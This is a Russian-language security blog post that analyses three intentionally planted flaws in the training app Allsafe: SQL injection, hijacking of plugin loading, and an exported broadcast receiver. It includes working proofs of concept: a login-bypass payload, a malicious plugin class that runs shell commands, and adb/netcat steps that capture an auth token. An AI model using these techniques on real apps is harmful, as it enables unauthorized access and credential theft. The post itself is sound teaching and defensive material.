Allsafe — это приложение, намеренно спроектированное небезопасным. Для чего это нужно? Оно предназначено для обучения поиску различных уязвимостей. В отличие от других подобных приложений для Android, оно использует современные библиотеки и технологии. Меньше похоже на CTF и больше похоже на реальное приложение. В этом посте мы разберем его уязвимости с точки зрения двух подходов: статического и динамического тестирования безопасности.
1. Введение
Проверить мобильное приложение на уязвимости можно методом статического тестирования безопасности (Static Application Security Testing). SAST использует метод «белого ящика», то есть основывается на наличии исходного кода. Так приложение можно проанализировать без запуска и тестировать отдельные фрагменты кода на любом этапе развития проекта. В случае отсутствия доступа к исходному коду есть возможность осуществить тестирование динамически — DAST является методом «черного ящика» и позволяет проверить уже запущенное приложение.
Давайте разберем 3 самых интересных и наглядных случая из Allsafe. Благодаря открытому исходному коду есть возможность рассмотреть его уязвимости с точки зрения двух подходов: статического и динамического тестирования безопасности.
2. Уязвимость «Внедрение SQL-кода» (SQL Injection)
Атаки типа «Внедрение» (Injection) занимают третье место в рейтинге уязвимостей веб-приложений OWASP Top 10 2021. Если приложение работает с несколькими учетными записями пользователей на одном устройстве или в нем есть платный контент, инъекционные атаки, такие как SQL-инъекции, могут нанести ему серьезный ущерб.
Общий смысл уязвимости типа SQL Injection заключается в том, что написанный разработчиком SQL-запрос злоумышленник может видоизменить и выполнить непредусмотренную операцию.
2.1. Статический анализ
Разберем уязвимость по частям: в точке вхождения злоумышленник может ввести свои данные, а в точке выполнения происходит непосредственное обращение к базе данных с запросом, составленным на основе ввода.
Выясним, уязвимо ли приложение для внедрения. Для этого определим источники ввода и проверим, что для предоставляемых пользователем или приложением данных осуществляется достаточная валидация до соответствующей точки выполнения.
Теперь перейдём к конкретному примеру. Рассмотрим файл allsafe/app/src/main/java/infosecadventures/allsafe/challenges/SQLInjection.kt из уязвимого приложения Allsafe:
```
package infosecadventures.allsafe.challenges
import android.database.Cursor
import android.database.sqlite.SQLiteDatabase
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.Button
import android.widget.Toast
import androidx.fragment.app.Fragment
import com.google.android.material.textfield.TextInputEditText
import infosecadventures.allsafe.R
import java.math.BigInteger
import java.security.MessageDigest
class SQLInjection : Fragment() {
override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View {
val view: View = inflater.inflate(R.layout.fragment_sql_injection, container, false)
val db = populateDatabase()
val username: TextInputEditText = view.findViewById(R.id.username)
val password: TextInputEditText = view.findViewById(R.id.password)
val login: Button = view.findViewById(R.id.login)
login.setOnClickListener {
val cursor: Cursor = db.rawQuery("select * from user where username = '" + username.text.toString() + "' and password = '" + md5(password.text.toString()) + "'", null)
val data = StringBuilder()
if (cursor.count > 0) {
cursor.moveToFirst()
do {
val user = cursor.getString(1)
val pass = cursor.getString(2)
data.append("User: $user \nPass: $pass\n")
} while (cursor.moveToNext())
}
cursor.close()
Toast.makeText(context, data, Toast.LENGTH_LONG).show()
}
return view
}
private fun md5(input: String): String {
val md = MessageDigest.getInstance("MD5")
return BigInteger(1, md.digest(input.toByteArray())).toString(16).padStart(32, '0')
}
private fun populateDatabase(): SQLiteDatabase {
val db = requireActivity().openOrCreateDatabase("allsafe", android.content.Context.MODE_PRIVATE, null)
db.execSQL("drop table if exists user")
db.execSQL("create table user ( id integer primary key autoincrement, username text, password text )")
db.execSQL("insert into user ( username, password ) values ('admin', '21232f297a57a5a743894a0e4a801fc3')")
db.execSQL("insert into user ( username, password ) values ('elliot.alderson', '3484cef7f6ff172c2cd278d3b51f3e66')")
db.execSQL("insert into user ( username, password ) values ('angela.moss', '0af58729667eace3883a992ef2b8ce29')")
db.execSQL("insert into user ( username, password ) values ('gideon.goddard', '65dc3431f8c5e3f0e249c5b1c6e3534d')")
db.execSQL("insert into user ( username, password ) values ('tyrell.wellick', '6d2e1c6dd505a108cc7e19a46aa30a8a')")
db.execSQL("insert into user ( username, password ) values ('darlene.alderson', 'd510b80eb22f8eb684f1a19681eb7bcf')")
return db
}
```
В начале рассматриваемого файла создаем мини-базу данных db
с помощью функции populateDatabase()
.
Далее идёт более интересный для нас метод findViewById()
, так как он принимает значения username
и password
от пользователя.
После получения всех необходимых данных с целью авторизации выполняем динамический SQL-запрос к базе данных с помощью метода rawQuery()
и видим информацию о пользователе.
Для taint-анализа необходимы источники данных. Поскольку некоторые из них могут быть потенциально заражены, навешиваем на эти данные флаги и отслеживаем их распространение по всему приложению.
Поэтому, чтобы найти зараженные данные, сначала выделим все источники ввода:
```
val username: TextInputEditText = view.findViewById(R.id.username)
val password: TextInputEditText = view.findViewById(R.id.password)
```
После того как все источники ввода найдены, проверим, не ведут ли они к уязвимости. Для этого надо проследить трассу распространения каждой из переменных. Мы рассмотрим только переменную username
. Буквально через пару строк мы видим ее использование:
val cursor: Cursor = db.rawQuery("select * from user where username = '" + username.text.toString() + "' and password = '" + md5(password.text.toString()) + "'", null)
Это точка выполнения динамического SQL-запроса с предоставленными пользователем данными.
В данном случае по пути от точки входа до точки выполнения не обнаружено проверки, запрещающей внедрение кода, значит, перед нами уязвимость SQL Injection.
2.2. PoC
Для подтверждения текущей уязвимости в динамике достаточно на этапе авторизации ввести вместо логина следующий payload: "' OR 1=1 --
.
Открыть SQLInjection Activity.
Ввести:
"' OR 1=1 --
в поле Username.Нажать на Login.
Делаем вывод: если есть физический доступ к устройству, можно обойти проверку авторизации.
2.3. Рекомендации
Существует несколько базовых рекомендаций по устранению данного типа уязвимостей (например, рекомендуем материал, который обнаружили на просторах Хабра). Наиболее безопасный способ: предложить пользователю выбирать из ограниченного числа вариантов.
Если все же необходимо строить SQL-запросы на основе вводимых пользователем данных, то основным методом защиты будет создание белого или черного списка символов.
Как дополнительная защита работает escape-функция, экранирующая все специальные символы и слова.
Поиск уязвимостей вручную занимает много времени, и всегда в таких случаях сохраняется вероятность, что часть из них будет пропущена. Поэтому наиболее эффективный способ — использовать средства автоматического анализа кода на уязвимости, а затем проверять вручную результаты их работы.
Например, весь вышеописанный процесс поиска уязвимостей воспроизводит статический анализатор, а именно taint-анализ.
В общих чертах процесс поиска SQL-инъекции методами статического анализа можно описать так: анализатор находит все поля, вводимые пользователем, и помечает их маркером Tainted. Эта метка автоматически растекается по коду, помечая собой всё, до чего может дотянуться. Мешать метке распространяться могут защитные ворота вроде правильной валидации данных: проходящие валидацию поля очищаются от метки Tainted.
После того как этот маркер распространился максимально далеко, программа-анализатор смотрит на место в коде, где происходит обращение к базе данных с помощью SQL-запроса. Если данное обращение помечено маркером Tainted, то программа сообщает о наличии уязвимости. Подробнее о статических анализаторах мы рассказывали в этой статье.
3. Уязвимость «Выполнение произвольного кода» (Arbitrary Code Execution)
В приложения на Android можно интегрировать дополнительные функциональные возможности с помощью внешних модулей. Это могут быть как собственные библиотеки, так и приложения сторонних производителей. Разработчики часто используют подобные интеграции для добавления фильтров камеры, наборов шрифтов, тем.
Такие модули исполняются в контексте основного приложения (с теми же правами), делая его уязвимым к «выполнению произвольного кода» (Arbitrary code execution). Этот тип атак реализуется через эксплуатацию уязвимостей «Нарушение целостности данных и программного обеспечения» (Software and Data Integrity Failures), которая занимает восьмую позицию в рейтинге уязвимостей web-приложений OWASP Top 10 2021. Согласно данным Oversecured, как минимум 1 из 50 популярных приложений имеет данную уязвимость (ссылка на исследование; доступ к ресурсу заблокирован для пользователей из России).
После подключения модуля основное приложение ищет его среди всех приложений, установленных на данном устройстве, используя значения из файлов манифеста AndroidManifest.xml каждого приложения. В случае слабой верификации приложение злоумышленника может быть принято за легитимное. После загрузки модуля его код исполняется в контексте основного приложения, что ведет к выполнению произвольного кода. В результате злоумышленник может похитить любую конфиденциальную информацию из пользовательского ввода или полученную с сервера, а также подменить эту информацию или получить возможность отслеживать пользователя.
Чтобы предотвратить возникновение данной уязвимости, требуется проверить код на вхождения методов, обращающихся к загрузке сторонних библиотек. Если их использование необходимо, хорошей практикой является проверка целостности подобных библиотек. Отсутствие проверки входит в перечень общих слабостей CWE-494: «Загрузка кода без проверки целостности».
Рассмотрим фрагмент кода приложения. Здесь с помощью метода getInstalledPackages()
сканируется информация об установленных приложениях, и при совпадении префикса имени packageName
с заданным ("com.victim.module."
) запускается processModule()
:
public static void searchModules(Context context)
{
for (PackageInfo info :
context.getPackageManager().getInstalledPackages(0)) {
String packageName = info . packageName;
if (packageName.startsWith("com.victim.module.")) {
processModule(context, packageName);
}
//...
}
В функции processModule()
непосредственно происходит загрузка классов данного стороннего приложения с помощью метода loadClass()
с последующим выполнением его кода:
public static void processModule(Context context, String packageName)
{
Context appContext = context . createPackageContext (packageName, CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
ClassLoader classLoader = appContext . getClassLoader ();
try {
Object interface = classLoader.loadClass("com.victim.MainInterface").getMethod("getInterface").invoke(null);
//...
}
}
Получается, уязвимое приложение переходит к загрузке класса любого приложения, префикс имени которого совпадает с заданным. Злоумышленник может создать приложение с подходящим именем пакета (с заданным префиксом), содержащее требуемый класс com.victim.MainInterface
и метод getInterface()
. Это приведет к выполнению кода нелегитимного приложения в контексте основного.
3.1. Статический анализ
Эта уязвимость наглядно представлена в приложении Allsafe. Рассмотрим следующий фрагмент исходного кода:
private fun invokePlugins() {
for (packageInfo in packageManager.getInstalledPackages(0)) {
val packageName: String = packageInfo.packageName
if (packageName.startsWith("infosecadventures.allsafe")) {
try {
val packageContext = createPackageContext(packageName,
CONTEXT_INCLUDE_CODE or CONTEXT_IGNORE_SECURITY)
packageContext.classLoader
.loadClass("infosecadventures.allsafe.plugin.Loader")
.getMethod("loadPlugin")
.invoke(null)
} catch (ignored: Exception) {
}
}
}
}
Функция invokePlugins()
производит сравнение префикса названия модуля с константой "infosecadventures.allsafe"
, а затем пытается загрузить из приложений с таким же префиксом метод loadPlugin()
класса infosecadventures.allsafe.plugin.Loader
.
Для атаки злоумышленнику требуется создать приложение с требуемым префиксом в названии, а затем создать в нем класс и метод с соответствующими названиями. Отсутствие дополнительных проверок позволяет подменить загружаемый модуль.
Поиск описанной уязвимости не слишком сложен при проведении статического анализа: имея исходный код приложения, необходимо найти вызовы методов, обращающихся к загрузке сторонних библиотек, и проверить наличие валидации их подписей. С этой задачей можно быстро справиться при помощи статических анализаторов безопасности приложений.
3.2 PoC
Для подтверждения уязвимости в динамике понадобится убедить пользователя установить на устройство приложение с названием infosecadventures.allsafe.plugin, тогда из контекста infosecadventures.allsafe появится возможность выполнять произвольный код.
Создать приложение с названием infosecadventures.allsafe.plugin.
Создать класс
Loader
и определить в нём методloadPlugin()
.
```
package infosecadventures.allsafe.plugin;
import android.util.Log;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Loader {
private static String getShellOutput(String cmd) {
StringBuilder result = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
BufferedReader buffer = new BufferedReader(
new InputStreamReader(process.getInputStream())
);
String line;
while ((line = buffer.readLine()) != null) {
result.append(line);
}
} catch (Exception e) {
}
return result.toString();
}
public static Object loadPlugin() {
Log.i("poc", getShellOutput("id"));
return null;
}
}
```
Установить приложение infosecadventures.allsafe.plugin на устройство пользователя.
В качестве подтверждения концепции при вызове метода loadPlugin()
происходит выполнение shell-команды: sh -c id
. В логи записывается значение UID приложения, в контексте которого был вызван метод: Log.i("poc", getShellOutput("id"))
;
При установке мобильного приложения Android присваивает ему уникальный UID. Чтобы найти UID для приложения, необходимо выполнить следующую команду: adb shell dumpsys package your-package-name | grep userId=
.
Значения UID для приложения infosecadventures.allsafe userId=10086
, а для приложения infosecadventures.allsafe.plugin userId=10090
.
При запуске уязвимого приложения infosecadventures.allsafe будет выполнен код из стороннего приложения infosecadventures.allsafe.plugin, что подтверждается информацией в логах: adb logcat | grep poc
.
Вывод совпадает с UID уязвимого приложения infosecadventures.allsafe, в контексте которого был вызван сторонний метод.
3.3. Рекомендации
Для защиты от уязвимости нужно осуществить проверку не только префикса имени, но и подписи интегрируемого стороннего приложения:
if(packageName.startsWith("com.victim.module.") && packageManager.checkSignatures(packageName, context.getPackageName()) == PackageManager.SIGNATURE_MATCH)
Если подделать название модуля, класса и метода не составляет сложности, то сертификат подделать не удастся. Злоумышленник не сможет подписать свое приложение тем же сертификатом, поэтому проверка подписи предотвратит загрузку нелегитимного модуля.
4. Уязвимость «Небезопасный широковещательный приемник» (Insecure Broadcast Receiver)
Уязвимость Insecure Broadcast Receiver относится к типу Broken Access Control, занимающему первое место в рейтинге уязвимостей веб-приложений OWASP Top 10 2021.
Broadcast Receivers — это компоненты Android, которые отслеживают широковещательные сообщения (broadcast messages) и события (events), сгенерированные сторонними программами. При их неправильной реализации установленные на устройстве вредоносные приложения могут нарушить работу текущего приложения — заставить выполнить вредоносную операцию.
Чтобы найти и исправить уязвимость, обычно достаточно рассмотреть файл AndroidManifest.xml. Это обязательный файл для каждого приложения Android, он описывает некоторые глобальные значения приложения и все его компоненты. В частности — то, как могут быть приведены в действие Activity, и какие данные они будут обрабатывать. За запуск различных Activity отвечают приёмники (receivers), которые сконфигурированы в файле AndroidManifest.xml.
Давайте рассмотрим в качестве примера объявление broadcast receiver в соответствующем файле из известного нам приложения Allsafe:
```
<receiver
android:name=".challenges.NoteReceiver"
android:exported="true">
<intent-filter>
<action android:name="infosecadventures.allsafe.action.PROCESS_NOTE" />
</intent-filter>
</receiver>
```
Это объявление приёмника с явно заданным параметром exported
, равным true
. Это означает, что данный receiver может принимать сообщения от сторонних программ, в том числе и злонамеренных. При этом у него нет никакой защиты, которая содержала бы список программ, от которых допустимо принимать информацию.
Важно понимать, что значение по умолчанию для тега android:exported
— false
, то есть все Activity в AndroidManifest.xml, не имеющие этого тега, доступны только внутри приложения, и это безопасно. Если Activity содержит какой-либо intent-filter, то значением по умолчанию для этого тега будет true
, что делает Activity общедоступной.
Класс NoteReceiver получает intent
и извлекает из него String-объекты с именами server
, note
и notification_message
. Это те самые значения, которыми может манипулировать злоумышленник:
```
public class NoteReceiver extends BroadcastReceiver {
@RequiresApi(api = Build.VERSION_CODES.O)
@Override
public void onReceive(Context context, Intent intent) {
String server = intent.getStringExtra("server");
String note = intent.getStringExtra("note");
String notification_message = intent.getStringExtra("notification_message");
…
}
}
4.2. PoC
Динамически подтвердить данную уязвимость и получить по итогу конфиденциальную информацию пользователя (в данном случае auth_token
) возможно в версиях Android ниже 9.0, т. к. в последующих версиях http-коммуникация отключена (по умолчанию используется https).
Если у вас есть желание воспроизвести текущую уязвимость в версиях Android 9.0 и выше, вам необходимо переконфигурировать текущее приложение так, как описано в этой статье.
Для начала запускаем у себя процесс Netcat для прослушивания порта 80, то есть мы находимся в ожидании запроса на 192.168.0.104:
nc -l 80
Отправляем
broadcast
дляinfosecadventures.allsafe.action.PROCESS_NOTE
с установленными значениямиserver
,note
иnotification_message
:
adb shell am broadcast -a infosecadventures.allsafe.action.PROCESS_NOTE -e server 192.168.0.104 -e note ThosIsPoc -e notification_message ThisIsPoc infosecadventures.allsafe
Будет зафиксирован GET-запрос:
Таким образом, с помощью стороннего broadcast-сообщения мы зафиксировали конфиденциальный auth_token
пользователя приложения.
4.3. Рекомендации
Устранить данную уязвимость можно одним из двух способов: для уязвимой Activity в AndroidManifest.xml явно указать тег android:exported
равным false
. В случае, когда значение false
недопустимо, можно добавить permission
c protectionLevel="signature"
. Receiver с таким уровнем защиты будет принимать сообщения только от приложений, подписанных (signed) тем же ключом.
Безопасная версия этого участка кода должна выглядеть примерно так:
```
<receiver
android:name=".challenges.NoteReceiver"
android:exported="true"
android:permission="defaultName">
<intent-filter>
<action android:name="infosecadventures.allsafe.action.PROCESS_NOTE" />
</intent-filter>
</receiver>
```
После исправления для корректной работы приложения в начале AndroidManifest.xml (там, где объявляются permissions) следует добавить:
```
<permission android:name="defaultName" android:protectionLevel="signature" />
```
Чтобы иметь меньше шансов совершить подобную ошибку или проще её найти, имеет смысл всегда явно указывать значение атрибута exported
.
5. Итог
Каждый из подходов к поиску уязвимостей имеет свои преимущества. Статический — не требует сборки и запуска, а значит и дополнительных временных и системных ресурсов. Динамический и бинарный анализ можно использовать, если нет доступа к исходному коду. При этом бинарный анализ осуществляет полное покрытие кода, а динамический анализ не имеет ложных срабатываний.
Из этого следует вывод: анализ максимально эффективен и захватывает максимум уязвимостей при использовании различных методов.
Вы наверняка уже слышали: если проводить регулярный анализ в процессе разработки, можно быстрее и проще устранить возникшие уязвимости и НДВ. Это правда – ровно, как и то, что для их поиска требуется обширная и своевременно пополняемая база знаний и соответствующая квалификация разработчика в сфере информационной безопасности.
Повышение безопасности приложения требует времени, а как известно, чего нет у разработчика, так это времени. Проблему временных затрат на анализ можно решить с помощью автоматизации процесса.
Наша команда работает над развитием сканера уязвимостей, который осуществляет статический анализ как с наличием исходного кода, так и без него. В этом случае файл может быть исполняемым, а анализ является бинарным.
При использовании такого инструмента безопасность мобильного приложения может быть проанализирована автоматически на каждом этапе разработки. Это ускоряет поиск уязвимостей и их устранение за счет подробных описаний уязвимостей и точных рекомендаций.
Если у вас есть вопросы по поиску и устранению уязвимостей или выстраиванию процесса безопасной разработки – оставляйте их в комментариях, мы обязательно ответим ????
Авторы: команда Центра разработки решений по контролю безопасности ПО «РТК-Солар» — Марина Димаксян, аналитик ИБ, Борис Кондратенков, аналитик-разработчик, Татьяна Куцовол, технический лидер